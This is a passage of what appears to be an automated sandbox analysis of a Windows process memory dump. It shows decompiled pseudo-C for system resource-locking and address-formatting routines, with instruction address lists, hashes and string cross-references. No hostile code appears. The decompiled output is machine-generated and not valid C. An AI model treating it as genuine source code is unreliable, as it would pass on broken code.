								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x00d50b21
0x00d50b24
0x00d50b27
0x00d50b2a
0x00d50b2d
0x00d50b30
0x00d50b33
0x00d50b36
0x00d50b39
0x00d50b3e
0x00d50c65
0x00d50c68
0x00d50c6a
0x00d50c6f
0x00d7eb42
0x00000000
0x00000000
0x00d7eb48
0x00d7eb48
0x00d50c75
0x00d50c7a
0x00d7eb54
0x00000000
0x00000000
0x00000000
0x00d7eb5a
0x00d50c80
0x00d50c84
0x00d7eb98
0x00000000
0x00000000
0x00d7eba6
0x00d50cb8
0x00d50cba
0x00d50cd3
0x00d50cda
0x00d50ce4
0x00d50ce9
0x00000000
0x00d50cec
0x00d50c8c
0x00d7eb63
0x00000000
0x00000000
0x00d7eb70
0x00d7eb75
0x00d7eb7d
0x00000000
0x00000000
0x00d7eb8c
0x00000000
0x00d7eb8c
0x00d50c96
0x00000000
0x00000000
0x00d50ca2
0x00d50cac
0x00d50cb4
0x00000000
0x00000000
0x00d50b44
0x00d50b47
0x00d50b49
0x00000000
0x00000000
0x00d50b4f
0x00d50b50
0x00000000
0x00000000
0x00d50b56
0x00d50b62
0x00d50b7c
0x00d50bac
0x00d50a0f
0x00d7eaaa
0x00000000
0x00d7eac4
0x00d7eac4
0x00d50bd0
0x00d50bd0
0x00d50bd4
0x00d50bd9
0x00000000
0x00000000
0x00d50bdb
0x00d50be0
0x00d7eb0e
0x00d50a1a
0x00000000
0x00d50a1a
0x00d7eb1a
0x00d7eb1f
0x00d7eb27
0x00000000
0x00000000
0x00d7eb36
0x00000000
0x00d7eb36
0x00d50bea
0x00000000
0x00000000
0x00d50bf6
0x00d50c00
0x00d50c03
0x00d50c0b
0x00000000
0x00d50c0b
0x00d7eaaa
0x00000000
0x00d50a15
0x00d50bb6
0x00000000
0x00d50bc6
0x00d50bc6
0x00d50bcb
0x00d50c15
0x00000000
0x00000000
0x00d50c1d
0x00d50c20
0x00d50c21
0x00d50c24
0x00d50c24
0x00d50c26
0x00000000
0x00d50c26
0x00d50bcd
0x00000000
0x00d50bcd
0x00d50b89
0x00d50b89
0x00d50b90
0x00000000
0x00000000
0x00d50b96
0x00000000
0x00d50b96
0x00d50a04
0x00d50a04
0x00d50b9a
0x00d50b9a
0x00d50b9b
0x00d50b9f
0x00000000
0x00000000
0x00000000
0x00d50ba5
0x00d50ac7
0x00d50aca
0x00d7eacf
0x00000000
0x00d7eade
0x00d7eade
0x00d7eae3
0x00000000
0x00000000
0x00d7eaf3
0x00d7eaf6
0x00d7eaf7
0x00d7eafe
0x00d7eb01
0x00000000
0x00d7eb01
0x00d7eacf
0x00d50ad0
0x00d50ad4
0x00000000
0x00000000
0x00d50ada
0x00d50ae6
0x00d50c34
0x00000000
0x00d50c47
0x00d50c49
0x00d50c4a
0x00d50c4e
0x00d50c51
0x00d50c54
0x00d50c57
0x00d50c5a
0x00000000
0x00000000
0x00000000
0x00d50c60
0x00d50afb
0x00d50afe
0x00d50b02
0x00d50b05
0x00d50b08
0x00000000
0x00d50b08
0x00d50ae6
0x00d50b44
0x00d509f8
0x00d509f8
0x00d509f9
0x00000000
0x00000000
0x00d7eaa0
0x00000000

APIs

__fassign.LIBCMT ref: 00D50BF6
__fassign.LIBCMT ref: 00D50CA2

Strings

:, xrefs: 00D50AC7
., xrefs: 00D50A0C
:, xrefs: 00D50BA9

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: d4ccfc0e9641dc3aa33e50f5c1707b8abda4110399bee86ea4b91600fb8cd125
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: F0A16D7190030ADBDF24CF68C8456BEBFB5EF16306F28856ADC52A7241D7349A49CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D50554, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00D50554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00df01c0;
									_push(_t144);
									_push(0);
									_t51 = E00D0F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E00D54FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E00D63F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E00D63F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E00D9217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00D63F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E00D53915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00df01c0;
												_push(_t138);
												_push(0);
												_t58 = E00D0F8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E00D54FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E00D63F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E00D63F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E00D9217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E00D63F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E00D53915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E00D35384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E00D0F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E00D53915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E00D0F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E00D53915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E00D0F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E00D53915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E00D35329(_t110, _t138);
																_t69 = E00D353A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x00d5055a
0x00d5055d
0x00d50563
0x00d50566
0x00d505d8
0x00d505e2
0x00d505e5
0x00000000
0x00d505e7
0x00d505e7
0x00d505ea
0x00d505f3
0x00d505f3
0x00d50568
0x00d50568
0x00d50568
0x00d50569
0x00d50569
0x00d50569
0x00d5056b
0x00000000
0x00000000
0x00d7217f
0x00d72183
0x00d7225b
0x00d7225f
0x00d72189
0x00d7218c
0x00d7218f
0x00d72194
0x00d72199
0x00d7219d
0x00d721a0
0x00d721a2
0x00d721ce
0x00d721ce
0x00d721ce
0x00d721d0
0x00d721d6
0x00d721de
0x00d721e2
0x00d721e8
0x00d721e9
0x00d721ec
0x00d721f1
0x00d721f6
0x00000000
0x00000000
0x00d721f8
0x00d721fb
0x00d72206
0x00d7220b
0x00d7220c
0x00d72217
0x00d72226
0x00d7222b
0x00d7222c
0x00d7222f
0x00d72232
0x00d72235
0x00d72235
0x00d7223a
0x00d7223f
0x00d72241
0x00d72243
0x00d72248
0x00d72248
0x00d7224d
0x00d7224f
0x00d72262
0x00d72263
0x00d72268
0x00d72269
0x00d72269
0x00d72269
0x00d7226d
0x00000000
0x00000000
0x00d72276
0x00d72279
0x00d7227e
0x00d72283
0x00d72287
0x00d7228a
0x00d7228d
0x00d7228f
0x00d722bc
0x00d722bc
0x00d722bc
0x00d722be
0x00d722c4
0x00d722cc
0x00d722d0
0x00d722d6
0x00d722d7
0x00d722da
0x00d722df
0x00d722e4
0x00000000
0x00000000
0x00d722e6
0x00d722e9
0x00d722f4
0x00d722f9
0x00d722fa
0x00d72305
0x00d72314
0x00d72319
0x00d7231a
0x00d7231d
0x00d72320
0x00d72323
0x00d72323
0x00d72328
0x00d7232d
0x00d7232f
0x00d72331
0x00d72336
0x00d72336
0x00d7233b
0x00d7233d
0x00d72350
0x00d72351
0x00d72356
0x00d72359
0x00d72359
0x00d7235b
0x00d7235d
0x00d35367
0x00d3536b
0x00d35372
0x00000000
0x00000000
0x00000000
0x00000000
0x00d72363
0x00d72363
0x00d72369
0x00d7236a
0x00d7236c
0x00d72371
0x00d72373
0x00000000
0x00d72379
0x00d72379
0x00d7237a
0x00d7237f
0x00d7237f
0x00d72385
0x00d72386
0x00d72389
0x00d7238e
0x00d72390
0x00d35378
0x00d3537c
0x00d72396
0x00d72396
0x00d72397
0x00d7239c
0x00d723a2
0x00d723a3
0x00d723a6
0x00d723ab
0x00d723ad
0x00000000
0x00d723b3
0x00d723b3
0x00d723b4
0x00d723b9
0x00d723ba
0x00d723ba
0x00d723bc
0x00d723bf
0x00000000
0x00000000
0x00d69153
0x00d69158
0x00d6915a
0x00d6915e
0x00d69160
0x00000000
0x00d69166
0x00d69166
0x00d69171
0x00d69176
0x00d69176
0x00000000
0x00d69160
0x00d723c6
0x00d723ce
0x00d723d7
0x00d723d7
0x00d723ad
0x00d72390
0x00d72373
0x00d7233f
0x00d7233f
0x00000000
0x00d7233f
0x00d72291
0x00d72291
0x00d72293
0x00d72295
0x00d7229a
0x00d722a1
0x00d722a3
0x00d722a7
0x00d722a9
0x00000000
0x00000000
0x00d722ab
0x00d722ad
0x00d722af
0x00000000
0x00000000
0x00000000
0x00d722af
0x00d722b1
0x00d722b4
0x00d722b4
0x00d722b6
0x00d353be
0x00d353be
0x00d353be
0x00d353c0
0x00000000
0x00000000
0x00d353cb
0x00d353ce
0x00d353d0
0x00d353d4
0x00d353d6
0x00000000
0x00d353d8
0x00d353e3
0x00d353ea
0x00d353ea
0x00000000
0x00d353d6
0x00000000
0x00000000
0x00000000
0x00000000
0x00d722b6
0x00000000
0x00d7228f
0x00d72349
0x00d7234d
0x00d72251
0x00d72251
0x00000000
0x00d72251
0x00d721a4
0x00d721a4
0x00d721a6
0x00d721a8
0x00d721ac
0x00d721b6
0x00d721b8
0x00d721bc
0x00d721be
0x00000000
0x00000000
0x00d721c0
0x00d721c2
0x00d721c4
0x00000000
0x00000000
0x00000000
0x00d721c4
0x00d721c6
0x00d721c6
0x00d721c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00d721c8
0x00d721a2
0x00000000
0x00d72183
0x00d5057b
0x00d5057d
0x00d50581
0x00d50583
0x00d72178
0x00000000
0x00d50589
0x00d5058f
0x00d5058f
0x00d50583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D72206

Strings

RTL: Re-Waiting, xrefs: 00D7223A, 00D72328
RTL: Resource at %p, xrefs: 00D7221D, 00D7230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00D722FC
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 00D7220E

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 0e8a35e67a4efdd9e5568504df7e3a38352ec84274d3b0e2d369929c6f692432
Instruction ID: 010af00da8797cab95759822650d05bae8abd9ff52dc95c348813ca5f10a6535
Opcode Fuzzy Hash: 0e8a35e67a4efdd9e5568504df7e3a38352ec84274d3b0e2d369929c6f692432
Instruction Fuzzy Hash: 095108717002416FEB148A18DC81FB633A9EF94711F25C229FD58DB286EA71EC858BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D514C0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00D514C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0xdf2088; // 0x7753699a
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E00D47707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E00D513CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E00D47707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E00D47707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E00D12340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E00D1E1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x00d514c0
0x00d514cb
0x00d514d2
0x00d514d6
0x00d514da
0x00d514de
0x00d514e3
0x00d5157a
0x00d5157a
0x00d514f1
0x00d514f3
0x00d7ea0f
0x00000000
0x00d7ea15
0x00000000
0x00d7ea15
0x00d514f9
0x00d514f9
0x00d514fe
0x00d51504
0x00d7ea1a
0x00d7ea1f
0x00d7ea21
0x00d7ea22
0x00d7ea27
0x00d7ea2a
0x00d7ea2a
0x00d51515
0x00d51517
0x00d5156d
0x00d51572
0x00d51575
0x00d51575
0x00d5151e
0x00d7ea50
0x00d7ea55
0x00d7ea58
0x00d7ea58
0x00d5152e
0x00d51531
0x00d51533
0x00000000
0x00d51535
0x00d51541
0x00d51549
0x00d51549
0x00d51533
0x00d514f3
0x00d51559

APIs

___swprintf_l.LIBCMT ref: 00D7EA22

Part of subcall function 00D513CB: ___swprintf_l.LIBCMT ref: 00D5146B
Part of subcall function 00D513CB: ___swprintf_l.LIBCMT ref: 00D51490

___swprintf_l.LIBCMT ref: 00D5156D

Strings

]:%u, xrefs: 00D7EA47
%%%u, xrefs: 00D51564

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 105a91d770f077ae580346b0014e048929338a4de68b30068640a5de0764fb16
Instruction ID: 93395e9247e8a8eaece56d205a7b825fe14b311fc3e782b080f7bae2098ff1a7
Opcode Fuzzy Hash: 105a91d770f077ae580346b0014e048929338a4de68b30068640a5de0764fb16
Instruction Fuzzy Hash: AC217C76900219ABCF219E58D841AEAB3BCEB54701F888555EC46D3141EB70EA988BF1

Uniqueness

Uniqueness Score: -1.00%

Function 00D353A5, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00D353A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x00df01c0;
									_push(_t92);
									_push(0);
									_t37 = E00D0F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E00D54FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									E00D63F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E00D63F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E00D9217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00D63F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E00D53915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E00D35384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E00D0F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E00D53915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E00D0F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E00D53915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E00D0F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E00D53915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E00D35329(_t74, _t92);
													_push(1);
													_t48 = E00D353A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x00d353ab
0x00d353ae
0x00d353b1
0x00d353b4
0x00d353b7
0x00d505b6
0x00d505c0
0x00d505c3
0x00000000
0x00d505c9
0x00d505c9
0x00d505cc
0x00d505d5
0x00d505d5
0x00d353bd
0x00d353bd
0x00d353bd
0x00d353be
0x00d353be
0x00d353be
0x00d353c0
0x00000000
0x00000000
0x00d72269
0x00d7226d
0x00d72349
0x00d7234d
0x00d72273
0x00d72276
0x00d72279
0x00d7227e
0x00d72283
0x00d72287
0x00d7228a
0x00d7228d
0x00d7228f
0x00d722bc
0x00d722bc
